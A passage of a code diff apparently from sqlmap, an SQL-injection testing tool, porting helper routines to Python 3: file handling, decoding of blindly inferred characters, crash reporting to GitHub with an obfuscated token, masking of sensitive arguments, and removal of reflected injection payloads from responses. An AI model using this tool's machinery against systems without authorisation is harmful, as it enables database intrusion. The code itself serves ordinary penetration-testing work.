kb.httpErrorCodes.items()) - logger.warn(warnMsg) - if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): + warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) + logger.warning(warnMsg) + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) -def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1): +def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename + + >>> "openFile" in openFile(__file__).read() + True + >>> b"openFile" in openFile(__file__, "rb", None).read() + True """ - try: - return codecs.open(filename, mode, encoding, errors, buffering) - except IOError: - errMsg = "there has been a file opening error for filename '%s'. " % filename - errMsg += "Please check %s permissions on a file " % ("write" if \ - mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") - errMsg += "and that it's not locked by another process." - raise SqlmapSystemException(errMsg) + # Reference: https://stackoverflow.com/a/37462452 + if 'b' in mode: + buffering = 0 + encoding = None + elif buffering == 1 and codecs_open is codecs.open: + # codecs.open() always opens the underlying file in binary mode, where line buffering + # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is + # silently downgraded to the default buffer size anyway. Request that default explicitly + # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1 + # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path). + buffering = -1 + + if filename == STDIN_PIPE_DASH: + if filename not in kb.cache.content: + kb.cache.content[filename] = sys.stdin.read() + + return contextlib.closing(io.StringIO(readCachedFileContent(filename))) + else: + try: + return codecs_open(filename, mode, encoding, errors, buffering) + except IOError: + errMsg = "there has been a file opening error for filename '%s'. " % filename + errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") + errMsg += "and that it's not locked by another process" + raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ Decodes inferenced integer value to an unicode character - >>> decodeIntToUnicode(35) - u'#' - >>> decodeIntToUnicode(64) - u'@' + >>> decodeIntToUnicode(35) == '#' + True + >>> decodeIntToUnicode(64) == '@' + True """ retVal = value @@ -2942,19 +3989,49 @@ def decodeIntToUnicode(value): try: if value > 255: _ = "%x" % value + if len(_) % 2 == 1: _ = "0%s" % _ - retVal = getUnicode(hexdecode(_), encoding="UTF-16" if Backend.isDbms(DBMS.MSSQL) else None) + + raw = decodeHex(_) + + if Backend.isDbms(DBMS.MYSQL): + # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord + # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 + retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) + elif Backend.isDbms(DBMS.MSSQL): + # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 + retVal = getUnicode(raw, "UTF-16-BE") + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + retVal = _unichr(value) + else: + retVal = getUnicode(raw, conf.encoding) else: - retVal = getUnicode(chr(value)) + retVal = _unichr(value) except: retVal = INFERENCE_UNKNOWN_CHAR return retVal +def getDaysFromLastUpdate(): + """ + Get total number of days from last update + + >>> getDaysFromLastUpdate() >= 0 + True + """ + + if not paths: + return + + return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) + def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception + + >>> all(_ in unhandledExceptionMessage() for _ in ("unhandled exception occurred", "Operating system", "Command line")) + True """ errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING @@ -2962,36 +4039,84 @@ def unhandledExceptionMessage(): errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE errMsg += "at '%s' " % ISSUES_PAGE errMsg += "with the following text and any other information required to " - errMsg += "reproduce the bug. The " - errMsg += "developers will try to reproduce the bug, fix it accordingly " + errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" - errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] + errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION - errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) - errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) - errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) + errMsg += "Operating system: %s\n" % platform.platform() + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) + errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) + errMsg += "Back-end DBMS:" + + if Backend.getDbms() is not None: + errMsg += " %s (fingerprinted)" % Backend.getDbms() + + if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()): + errMsg += " %s (identified)" % Backend.getIdentifiedDbms() + + if not errMsg.endswith(')'): + errMsg += " None" return errMsg +def getLatestRevision(): + """ + Retrieves latest revision from the offical repository + """ + + retVal = None + req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + + try: + content = getUnicode(_urllib.request.urlopen(req).read()) + retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P[\d.]+)", content) + except: + pass + + return retVal + +def fetchRandomAgent(): + """ + Returns random HTTP User-Agent header value + + >>> '(' in fetchRandomAgent() + True + """ + + if not kb.userAgents: + debugMsg = "loading random HTTP User-Agent header(s) from " + debugMsg += "file '%s'" % paths.USER_AGENTS + logger.debug(debugMsg) + + try: + kb.userAgents = getFileItems(paths.USER_AGENTS) + except IOError: + errMsg = "unable to read HTTP User-Agent header " + errMsg += "file '%s'" % paths.USER_AGENTS + raise SqlmapSystemException(errMsg) + + return random.sample(kb.userAgents, 1)[0] + def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information """ - issues = [] try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: - pass + issues = [] finally: issues = set(issues) _ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"\s+line \d+", "", _) - _ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _) + _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) - key = hashlib.md5(_).hexdigest()[:8] + _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) + _ = re.sub(r"= _", "= ", _) + + key = hashlib.md5(getBytes(_)).hexdigest()[:8] if key in issues: return @@ -3000,23 +4125,40 @@ def createGithubIssue(errMsg, excMsg): msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " try: - test = readInput(msg, default="N") + choice = readInput(msg, default='N', checkBatch=False, boolean=True) except: - test = None + choice = None - if test and test[0] in ("y", "Y"): - ex = None + if choice: + _excMsg = None errMsg = errMsg[errMsg.find("\n"):] + req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + + try: + content = _urllib.request.urlopen(req).read() + _ = json.loads(content) + duplicate = _["total_count"] > 0 + closed = duplicate and _["items"][0]["state"] == "closed" + if duplicate: + warnMsg = "issue seems to be already reported" + if closed: + warnMsg += " and resolved. Please update to the latest " + warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE + logger.warning(warnMsg) + return + except: + pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) + token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_PAT_TOKEN[::-1], binary=True))[0::2][::-1]) + req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: - f = urllib2.urlopen(req) - content = f.read() - except Exception, ex: + content = getText(_urllib.request.urlopen(req).read()) + except Exception as ex: content = None + _excMsg = getSafeExString(ex) issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") if issueUrl: @@ -3024,38 +4166,49 @@ def createGithubIssue(errMsg, excMsg): logger.info(infoMsg) try: - with open(paths.GITHUB_HISTORY, "a+b") as f: + with openFile(paths.GITHUB_HISTORY, "a+") as f: f.write("%s\n" % key) except: pass else: warnMsg = "something went wrong while creating a Github issue" - if ex: - warnMsg += " ('%s')" % getSafeExString(ex) + if _excMsg: + warnMsg += " ('%s')" % _excMsg if "Unauthorized" in warnMsg: warnMsg += ". Please update to the latest revision" - logger.warn(warnMsg) + logger.warning(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message + + >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' + True + >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' + True """ retVal = getUnicode(msg) - for item in filter(None, map(lambda x: conf.get(x), ("hostname", "data", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))): - regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) + for item in filterNone(conf.get(_) for _ in SENSITIVE_OPTIONS): + if isListLike(item): + item = listToStrValue(item) + + regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) - if not conf.get("hostname"): - match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal) - if match: - retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) + # Just in case (for problematic parameters regarding user encoding) + for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): + retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) + + # Fail-safe substitutions + retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) + retVal = re.sub(r"(?i)(\b\w:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) if getpass.getuser(): - retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) + retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) return retVal @@ -3067,7 +4220,7 @@ def listToStrValue(value): '1, 2, 3' """ - if isinstance(value, (set, tuple)): + if isinstance(value, (set, tuple, types.GeneratorType)): value = list(value) if isinstance(value, list): @@ -3077,51 +4230,61 @@ def listToStrValue(value): return retVal -def getExceptionFrameLocals(): +def intersect(containerA, containerB, lowerCase=False): """ - Returns dictionary with local variable content from frame - where exception has been raised + Returns intersection of the container-ized values + + >>> intersect([1, 2, 3], set([1,3])) + [1, 3] """ - retVal = {} + retVal = [] - if sys.exc_info(): - trace = sys.exc_info()[2] - while trace.tb_next: - trace = trace.tb_next - retVal = trace.tb_frame.f_locals + if containerA and containerB: + containerA = arrayizeValue(containerA) + containerB = arrayizeValue(containerB) + + if lowerCase: + containerA = [val.lower() if hasattr(val, "lower") else val for val in containerA] + containerB = [val.lower() if hasattr(val, "lower") else val for val in containerB] + + retVal = [val for val in containerA if val in containerB] return retVal -def intersect(valueA, valueB, lowerCase=False): +def decodeStringEscape(value): """ - Returns intersection of the array-ized values + Decodes escaped string values (e.g. "\\t" -> "\t") - >>> intersect([1, 2, 3], set([1,3])) - [1, 3] + >>> decodeStringEscape("a" + chr(92) + "tb") == "a" + chr(9) + "b" + True """ - retVal = [] - - if valueA and valueB: - valueA = arrayizeValue(valueA) - valueB = arrayizeValue(valueB) - - if lowerCase: - valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA] - valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB] + retVal = value - retVal = [val for val in valueA if val in valueB] + if value and '\\' in value: + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(repr(_).strip("'"), _) return retVal -def cpuThrottle(value): +def encodeStringEscape(value): """ - Does a CPU throttling for lesser CPU consumption + Encodes escaped string values (e.g. "\t" -> "\\t") + + >>> encodeStringEscape("a" + chr(9) + "b") == "a" + chr(92) + "tb" + True """ - delay = 0.00001 * (value ** 2) - time.sleep(delay) + retVal = value + + if value: + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(_, repr(_).strip("'")) + + return retVal def removeReflectiveValues(content, payload, suppressWarning=False): """ @@ -3131,124 +4294,221 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content - if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: - def _(value): - while 2 * REFLECTED_REPLACEMENT_REGEX in value: - value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) - return value + try: + if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: + def _(value): + while 2 * REFLECTED_REPLACEMENT_REGEX in value: + value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) + return value - payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''), convall=True)) - regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) + payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) + regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) - if regex != payload: - if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check - parts = regex.split(REFLECTED_REPLACEMENT_REGEX) - retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach + # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)") + preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content) + if preserve: + content = content.replace(preserve, REPLACEMENT_MARKER) - if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs - regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))) + if regex != payload: + if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check + parts = regex.split(REFLECTED_REPLACEMENT_REGEX) - parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) + # Note: naive approach + retVal = content.replace(payload, REFLECTED_VALUE_MARKER) - if regex.startswith(REFLECTED_REPLACEMENT_REGEX): - regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) - else: - regex = r"\b%s" % regex + # Note: guard against an empty needle (payload composed solely of word chars), as + # str.replace("", X) would insert X between every character and explode the page + _stripped = re.sub(r"\A\w+", "", payload) + if _stripped: + retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER) - if regex.endswith(REFLECTED_REPLACEMENT_REGEX): - regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) - else: - regex = r"%s\b" % regex - - retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal) + if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs + regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) - if len(parts) > 2: - regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) - retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal) + parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) - if retVal != content: - kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 - if not suppressWarning: - warnMsg = "reflective value(s) found and filtering out" - singleTimeWarnMessage(warnMsg) + if regex.startswith(REFLECTED_REPLACEMENT_REGEX): + regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) + else: + regex = r"\b%s" % regex - if re.search(r"FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal, re.I): - warnMsg = "frames detected containing attacked parameter values. Please be sure to " - warnMsg += "test those separately in case that attack on this page fails" - singleTimeWarnMessage(warnMsg) + if regex.endswith(REFLECTED_REPLACEMENT_REGEX): + regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) + else: + regex = r"%s\b" % regex + + _retVal = [retVal] + + def _thread(regex): + try: + _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) + + if len(parts) > 2: + regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) + _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) + except KeyboardInterrupt: + raise + except: + pass + + thread = threading.Thread(target=_thread, args=(regex,)) + thread.daemon = True + thread.start() + thread.join(REFLECTED_REPLACEMENT_TIMEOUT) + + if thread.is_alive(): + kb.reflectiveMechanism = False + retVal = content + if not suppressWarning: + debugMsg = "turning off reflection removal mechanism (because of timeouts)" + logger.debug(debugMsg) + else: + retVal = _retVal[0] - elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: - kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 - if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: - kb.reflectiveMechanism = False + if retVal != content: + kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: - debugMsg = "turning off reflection removal mechanism (for optimization purposes)" - logger.debug(debugMsg) + warnMsg = "reflective value(s) found and filtering out" + singleTimeWarnMessage(warnMsg) + + if re.search(r"(?i)FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal): + warnMsg = "frames detected containing attacked parameter values. Please be sure to " + warnMsg += "test those separately in case that attack on this page fails" + singleTimeWarnMessage(warnMsg) + + elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: + kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 + if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: + kb.reflectiveMechanism = False + if not suppressWarning: + debugMsg = "turning off reflection removal mechanism (for optimization purposes)" + logger.debug(debugMsg) + + if preserve and retVal: + retVal = retVal.replace(REPLACEMENT_MARKER, preserve) + + except (MemoryError, SystemError): + kb.reflectiveMechanism = False + if not suppressWarning: + debugMsg = "turning off reflection removal mechanism" + logger.debug(debugMsg) return retVal -def normalizeUnicode(value): +def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') + 1]): """ Does an ASCII normalization of unicode strings - Reference: http://www.peterbe.com/plog/unicode-to-ascii - >>> normalizeUnicode(u'\u0161u\u0107uraj') - 'sucuraj' + # Reference: http://www.peterbe.com/plog/unicode-to-ascii + + >>> normalizeUnicode(u'\\u0161u\\u0107uraj') == u'sucuraj' + True + >>> normalizeUnicode(getUnicode(decodeHex("666f6f00626172"))) == u'foobar' + True """ - return unicodedata.normalize('NFKD', value).encode('ascii', 'ignore') if isinstance(value, unicode) else value + retVal = value + + if isinstance(value, six.text_type): + retVal = unicodedata.normalize("NFKD", value) + retVal = "".join(_ for _ in retVal if _ in charset) + + return retVal def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) - Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal + + # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> getText(safeSQLIdentificatorNaming("begin")) + '[begin]' + >>> getText(safeSQLIdentificatorNaming("foobar")) + 'foobar' + >>> kb.forcedDbms = DBMS.FIREBIRD + >>> getText(safeSQLIdentificatorNaming("foo bar")) + '"foo bar"' + >>> kb.forcedDbms = popValue() """ retVal = name - if isinstance(name, basestring): + if conf.unsafeNaming: + return retVal + + if isinstance(name, six.string_types): retVal = getUnicode(name) - _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) + # Resolve the identified DBMS once; it is invariant within this call and + # Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise + # re-evaluated several times below. + dbms = Backend.getIdentifiedDbms() + _ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE) if _: - retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal) - - if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): - retVal = "`%s`" % retVal.strip("`") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): - retVal = "\"%s\"" % retVal.strip("\"") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): - retVal = "\"%s\"" % retVal.strip("\"").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U): - retVal = "[%s]" % retVal.strip("[]") + retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) + + # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf) + if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + if not conf.noEscape: + retVal = unsafeSQLIdentificatorNaming(retVal) + + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + retVal = "`%s`" % retVal + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): + retVal = "\"%s\"" % retVal + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): + retVal = "\"%s\"" % retVal.upper() + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): + if isTable: + parts = retVal.split('.', 1) + for i in xrange(len(parts)): + if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): + parts[i] = "[%s]" % parts[i] + retVal = '.'.join(parts) + else: + if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: + retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): - retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) + if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> getText(unsafeSQLIdentificatorNaming("[begin]")) + 'begin' + >>> getText(unsafeSQLIdentificatorNaming("foobar")) + 'foobar' + >>> kb.forceDbms = popValue() """ retVal = name - if isinstance(name, basestring): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): + if isinstance(name, six.string_types): + # Resolve the identified DBMS once; it is invariant within this call, and + # Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously + # it was re-evaluated up to five times per call. + dbms = Backend.getIdentifiedDbms() + + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): retVal = name.replace("\"", "").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - prefix = "%s." % DEFAULT_MSSQL_SCHEMA - if retVal.startswith(prefix): - retVal = retVal[len(prefix):] + if dbms in (DBMS.MSSQL, DBMS.SYBASE): + retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal @@ -3268,7 +4528,7 @@ def isNoneValue(value): False """ - if isinstance(value, basestring): + if isinstance(value, six.string_types): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) @@ -3287,7 +4547,7 @@ def isNullValue(value): False """ - return isinstance(value, basestring) and value.upper() == NULL + return hasattr(value, "upper") and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ @@ -3318,7 +4578,7 @@ def __init__(self): for mnemonic in (mnemonics or "").split(','): found = None - name = mnemonic.split('=')[0].replace("-", "").strip() + name = mnemonic.split('=')[0].replace('-', "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None pointer = head @@ -3344,16 +4604,16 @@ def __init__(self): if not options: warnMsg = "mnemonic '%s' can't be resolved" % name - logger.warn(warnMsg) + logger.warning(warnMsg) elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: - found = sorted(options.keys(), key=lambda x: len(x))[0] - warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) + found = sorted(options.keys(), key=len)[0] + warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found - logger.warn(warnMsg) + logger.warning(warnMsg) if found: found = options[found] @@ -3379,20 +4639,27 @@ def 